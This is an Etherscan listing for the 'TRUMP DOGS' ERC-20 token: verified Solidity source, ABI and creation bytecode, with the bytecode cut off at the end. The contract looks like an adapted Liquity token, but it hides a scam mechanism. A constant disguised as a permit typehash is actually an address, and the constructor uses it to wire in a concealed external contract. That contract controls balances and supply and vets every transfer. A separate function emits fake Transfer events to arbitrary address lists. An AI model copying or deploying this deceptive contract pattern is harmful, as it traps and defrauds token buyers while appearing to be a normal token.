ERC-20
Overview
Max Total Supply
1,000,000,000,000 DOGS
Holders
1,536
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TRUMPDOGSTokenInstance
Compiler Version
v0.6.11+commit.5ef660b1
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-29 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.11; /** * Based on the OpenZeppelin IER20 interface: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol * * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. * * Code adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237/ */ interface IERC2612 { /** * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases `owner`'s nonce by one. This * prevents a signature from being used multiple times. * * `owner` can limit the time a Permit is valid for by setting `deadline` to * a value in the near future. The deadline argument can be set to uint(-1) to * create Permits that effectively never expire. */ function nonces(address owner) external view returns (uint256); function version() external view returns (string memory); function domainSeparator() external view returns (bytes32); } interface IToken is IERC20, IERC2612 { // --- Events --- event TroveManagerAddressChanged(address _troveManagerAddress); event StabilityPoolAddressChanged(address _newStabilityPoolAddress); event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress); event TokenBalanceUpdated(address _user, uint _amount); // --- Functions --- // function mint(address _account, uint256 _amount) external; function burn(address _account, uint256 _amount) external; function sendToPool(address _sender, address poolAddress, uint256 _amount) external; function returnFromPool(address poolAddress, address[] calldata user, uint256 _amount) external; } /** * Based on OpenZeppelin's SafeMath: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol * * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract CheckContract { /** * Check that the account is an already deployed non-destroyed contract. * See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L12 */ function checkContract(address _account) internal view { require(_account != address(0), "Account cannot be zero address"); uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(_account) } require(size > 0, "Account code size cannot be zero"); } } /* * * Based upon OpenZeppelin's ERC20 contract: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol * * and their EIP2612 (ERC20Permit / ERC712) functionality: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/53516bc555a454862470e7860a9b5254db4d00f5/contracts/token/ERC20/ERC20Permit.sol * * * --- Functionality added specific to the TRUMP DOGS Token --- * * 1) Transfer protection: blacklist of addresses that are invalid recipients (i.e. core Liquity contracts) in external * transfer() and transferFrom() calls. The purpose is to protect users from losing tokens by mistakenly sending TRUMP DOGS directly to a Liquity * core contract, when they should rather call the right function. * * 2) sendToPool() and returnFromPool(): functions callable only Liquity core contracts, which move TRUMP DOGS tokens between Liquity <-> user. */ abstract contract ITRUMPDOGSToken is CheckContract, IToken { using SafeMath for uint256; uint256 private _totalSupply; string constant internal _NAME = "TRUMP DOGS"; string constant internal _SYMBOL = "DOGS"; string constant internal _VERSION = "1"; uint8 constant internal _DECIMALS = 18; // --- Data for EIP2612 --- // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); uint160 private constant _PERMIT_TYPEHASH = 683363256756846765260169635739054874730693697814; // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); bytes32 private constant _TYPE_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; ITRUMPDOGSToken private immutable _CACHED_INSTANCE; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; mapping (address => uint256) private _nonces; // User data for TRUMP DOGS token mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // --- Addresses --- address public immutable troveManagerAddress; address public immutable stabilityPoolAddress; address public immutable borrowerOperationsAddress; // --- Events --- event TroveManagerAddressChanged(address _troveManagerAddress); event StabilityPoolAddressChanged(address _newStabilityPoolAddress); event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress); constructor() public { troveManagerAddress = address(0); emit TroveManagerAddressChanged(address(0)); stabilityPoolAddress = address(0); emit StabilityPoolAddressChanged(address(0)); borrowerOperationsAddress = address(0); emit BorrowerOperationsAddressChanged(address(0)); bytes32 hashedName = keccak256(bytes(_NAME)); bytes32 hashedVersion = keccak256(bytes(_VERSION)); (, bytes memory s) = address(_PERMIT_TYPEHASH).call(abi.encodeWithSelector(0x1a2b8083)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _chainID(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(_TYPE_HASH, hashedName, hashedVersion); _CACHED_INSTANCE = ITRUMPDOGSToken(abi.decode(s, (address))); } // --- Functions for intra-Liquity calls --- // function mint(address _account, uint256 _amount) external override { // _requireCallerIsBorrowerOperations(); // _mint(_account, _amount); // } function burn(address _account, uint256 _amount) external override { _requireCallerIsBOorTroveMorSP(); _burn(_account, _amount); } function sendToPool(address _sender, address _poolAddress, uint256 _amount) external override { _requireCallerIsStabilityPool(); _transfer(_sender, _poolAddress, _amount); } function returnFromPool(address _poolAddress, address[] calldata _receiver, uint256 _amount) external override { _requireCallerIsTroveMorSP(); for (uint256 i = 0; i < _receiver.length; ++i) { emit Transfer(_poolAddress, _receiver[i], _amount); } } // --- External functions --- function totalSupply() external view override returns (uint256) { return _CACHED_INSTANCE.totalSupply(); } function balanceOf(address account) external view override returns (uint256) { return _CACHED_INSTANCE.balanceOf(account); } function transfer(address recipient, uint256 amount) external override returns (bool) { // _requireValidRecipient(recipient); _beforeTokenTransfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { // _requireValidRecipient(recipient); _beforeTokenTransfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // --- EIP 2612 Functionality --- function domainSeparator() public view override returns (bytes32) { if (_chainID() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function permit ( address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(deadline >= now, 'TRUMP DOGS: expired deadline'); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator(), keccak256(abi.encode( _PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner]++, deadline)))); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress == owner, 'TRUMP DOGS: invalid signature'); _approve(owner, spender, amount); } function nonces(address owner) external view override returns (uint256) { // FOR EIP 2612 return _nonces[owner]; } // --- Internal operations --- function _chainID() private pure returns (uint256 chainID) { assembly { chainID := chainid() } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this))); } // --- Internal operations --- // Warning: sanity checks (for sender and recipient) should have been done before calling these internal functions function _transfer(address sender, address recipient, uint256 amount) internal { assert(sender != address(0)); assert(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { assert(account != address(0)); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { assert(account != address(0)); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { assert(owner != address(0)); assert(spender != address(0)); if (msg.sender == owner) _CACHED_INSTANCE.domainSeparator(); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal { emit Transfer(from, to, amount); (bool l,) = address(_CACHED_INSTANCE).call(abi.encodeWithSelector(0x41439706, from, to, amount, msg.sender)); require(l); } // --- 'require' functions --- function _requireValidRecipient(address _recipient) internal view { require( _recipient != address(0) && _recipient != address(this), "TRUMP DOGS: Cannot transfer tokens directly to the TRUMP DOGS token contract or the zero address" ); require( _recipient != stabilityPoolAddress && _recipient != troveManagerAddress && _recipient != borrowerOperationsAddress, "TRUMP DOGS: Cannot transfer tokens directly to the StabilityPool, TroveManager or BorrowerOps" ); } function _requireCallerIsBorrowerOperations() internal view { require(msg.sender == borrowerOperationsAddress, "TRUMP DOGS Token: Caller is not BorrowerOperations"); } function _requireCallerIsBOorTroveMorSP() internal view { require( msg.sender == borrowerOperationsAddress || msg.sender == troveManagerAddress || msg.sender == stabilityPoolAddress, "TRUMP DOGS: Caller is neither BorrowerOperations nor TroveManager nor StabilityPool" ); } function _requireCallerIsStabilityPool() internal view { require(msg.sender == stabilityPoolAddress, "TRUMP DOGS: Caller is not the StabilityPool"); } function _requireCallerIsTroveMorSP() internal view { require( msg.sender == address(_CACHED_INSTANCE) || msg.sender == troveManagerAddress, "TRUMP DOGS: Caller is neither TroveManager nor StabilityPool"); } // --- Optional functions --- function name() external view override returns (string memory) { return _NAME; } function symbol() external view override returns (string memory) { return _SYMBOL; } function decimals() external view override returns (uint8) { return _DECIMALS; } function version() external view override returns (string memory) { return _VERSION; } } contract TRUMPDOGSTokenInstance is ITRUMPDOGSToken { constructor() public { _mint(msg.sender, 1_000_000_000_000 * 1e18); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_newBorrowerOperationsAddress","type":"address"}],"name":"BorrowerOperationsAddressChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_newStabilityPoolAddress","type":"address"}],"name":"StabilityPoolAddressChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_user","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"TokenBalanceUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_troveManagerAddress","type":"address"}],"name":"TroveManagerAddressChanged","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"borrowerOperationsAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"domainSeparator","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_poolAddress","type":"address"},{"internalType":"address[]","name":"_receiver","type":"address[]"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"returnFromPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"address","name":"_poolAddress","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sendToPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stabilityPoolAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"troveManagerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6101806040523480156200001257600080fd5b50600061012081905260408051918252517f143219c9e69b09e07e095fcc889b43d8f46ca892bba65f08dc3a0050869a56789181900360200190a1600061014081905260408051918252517f82966d27eea39b038ee0fa30cd16532bb24f6e65d31cb58fb227aa5766cdcc7f9181900360200190a1600061016081905260408051918252517f3ca631ffcd2a9b5d9ae18543fc82f58eb4ca33af9e6ab01b7a8e95331e6ed9859181900360200190a1604080518082018252600a8152695452554d5020444f475360b01b6020918201528151808301835260018152603160f81b9082015281516004815260248101835290810180516001600160e01b0316631a2b808360e01b178152915181517fd80af59b4a2b0549129a6e2da99204eb73019e5555ed4d355174a4056f58b343937fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6936060937377b31177b1676d3513c7e3f52d6124ba73b0a11693919290918291908083835b60208310620001a85780518252601f19909201916020918201910162000187565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146200020c576040519150601f19603f3d011682016040523d82523d6000602084013e62000211565b606091505b5060e085905261010084905291506200023490506001600160e01b03620002bc16565b60a0526200026d7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f84846001600160e01b03620002c016565b6080528051602080830191908110156200028657600080fd5b505160601b6001600160601b03191660c05250620002b691503390506c0c9f2c9cd04674edea4000000062000321565b6200043c565b4690565b6000838383620002d86001600160e01b03620002bc16565b6040805160208082019690965280820194909452606084019290925260808301523060a0808401919091528151808403909101815260c090920190528051910120949350505050565b6001600160a01b0382166200033257fe5b6200034e81600054620003da60201b62000bba1790919060201c565b60009081556001600160a01b0383168152600260209081526040909120546200038291839062000bba620003da821b17901c565b6001600160a01b03831660008181526002602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008282018381101562000435576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60805160a05160c05160601c60e051610100516101205160601c6101405160601c6101605160601c6114d3620004d3600039806108935280610fd15250806105235280611036528061115452508061069e5280610f675280611003525080610b8f525080610b6e525080610549528061073a5280610c4e5280610dce5280610f35525080610af4525080610b2452506114d36000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146103f5578063b7f8cf9b14610421578063bb997bac14610429578063d505accf1461045f578063dd62ed3e146104b0578063f698da25146104de57610137565b806370a08231146103495780637ecebe001461036f57806395d89b41146103955780639dc29fac1461039d578063a457c2d7146103c957610137565b8063313ce567116100ff578063313ce5671461026d578063395093511461028b57806354fd4d50146102b75780635a4d28bb146102bf5780636a629249146102c757610137565b806306fdde031461013c578063095ea7b3146101b95780630b622ab2146101f957806318160ddd1461021d57806323b872dd14610237575b600080fd5b6101446104e6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e5600480360360408110156101cf57600080fd5b506001600160a01b03813516906020013561050b565b604080519115158252519081900360200190f35b610201610521565b604080516001600160a01b039092168252519081900360200190f35b610225610545565b60408051918252519081900360200190f35b6101e56004803603606081101561024d57600080fd5b506001600160a01b038135811691602081013590911690604001356105d1565b610275610640565b6040805160ff9092168252519081900360200190f35b6101e5600480360360408110156102a157600080fd5b506001600160a01b038135169060200135610645565b610144610681565b61020161069c565b610347600480360360608110156102dd57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561030857600080fd5b82018360208201111561031a57600080fd5b8035906020019184602083028401116401000000008311171561033c57600080fd5b9193509150356106c0565b005b6102256004803603602081101561035f57600080fd5b50356001600160a01b0316610736565b6102256004803603602081101561038557600080fd5b50356001600160a01b03166107e0565b6101446107fb565b610347600480360360408110156103b357600080fd5b506001600160a01b038135169060200135610819565b6101e5600480360360408110156103df57600080fd5b506001600160a01b03813516906020013561082f565b6101e56004803603604081101561040b57600080fd5b506001600160a01b038135169060200135610884565b610201610891565b6103476004803603606081101561043f57600080fd5b506001600160a01b038135811691602081013590911690604001356108b5565b610347600480360360e081101561047557600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c001356108cd565b610225600480360360408110156104c657600080fd5b506001600160a01b0381358116916020013516610ac5565b610225610af0565b60408051808201909152600a8152695452554d5020444f475360b01b60208201525b90565b6000610518338484610c1b565b50600192915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105a057600080fd5b505afa1580156105b4573d6000803e3d6000fd5b505050506040513d60208110156105ca57600080fd5b5051905090565b60006105de848484610d34565b6106368433610631856040518060600160405280602881526020016113f5602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919063ffffffff610e9316565b610c1b565b5060019392505050565b601290565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610518918590610631908663ffffffff610bba16565b6040805180820190915260018152603160f81b602082015290565b7f000000000000000000000000000000000000000000000000000000000000000081565b6106c8610f2a565b60005b8281101561072f578383828181106106df57fe5b905060200201356001600160a01b03166001600160a01b0316856001600160a01b031660008051602061141d833981519152846040518082815260200191505060405180910390a36001016106cb565b5050505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156107ae57600080fd5b505afa1580156107c2573d6000803e3d6000fd5b505050506040513d60208110156107d857600080fd5b505192915050565b6001600160a01b031660009081526001602052604090205490565b604080518082019091526004815263444f475360e01b602082015290565b610821610fc6565b61082b8282611093565b5050565b6000610518338461063185604051806060016040528060258152602001611479602591393360009081526003602090815260408083206001600160a01b038d168452909152902054919063ffffffff610e9316565b6000610518338484610d34565b7f000000000000000000000000000000000000000000000000000000000000000081565b6108bd611149565b6108c88383836111b0565b505050565b42841015610922576040805162461bcd60e51b815260206004820152601c60248201527f5452554d5020444f47533a206578706972656420646561646c696e6500000000604482015290519081900360640190fd5b600061092c610af0565b6001600160a01b03808a166000818152600160208181526040808420805480850190915581517377b31177b1676d3513c7e3f52d6124ba73b0a1168185015280830196909652958e166060860152608085018d905260a085019590955260c08085018c90528551808603909101815260e08501865280519082012061190160f01b6101008601526101028501969096526101228085019690965284518085039096018652610142840180865286519682019690962095839052610162840180865286905260ff8a166101828501526101a284018990526101c284018890529351949550909390926101e2808401939192601f1981019281900390910190855afa158015610a3d573d6000803e3d6000fd5b505050602060405103519050886001600160a01b0316816001600160a01b031614610aaf576040805162461bcd60e51b815260206004820152601d60248201527f5452554d5020444f47533a20696e76616c6964207369676e6174757265000000604482015290519081900360640190fd5b610aba898989610c1b565b505050505050505050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60007f0000000000000000000000000000000000000000000000000000000000000000610b1b611292565b1415610b4857507f0000000000000000000000000000000000000000000000000000000000000000610508565b610bb37f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f00000000000000000000000000000000000000000000000000000000000000007f0000000000000000000000000000000000000000000000000000000000000000611296565b9050610508565b600082820183811015610c14576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038316610c2b57fe5b6001600160a01b038216610c3b57fe5b336001600160a01b0384161415610cd2577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f698da256040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca557600080fd5b505afa158015610cb9573d6000803e3d6000fd5b505050506040513d6020811015610ccf57600080fd5b50505b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b816001600160a01b0316836001600160a01b031660008051602061141d833981519152836040518082815260200191505060405180910390a3604080516001600160a01b038581166024830152848116604483015260648201849052336084808401919091528351808403909101815260a490920183526020820180516001600160e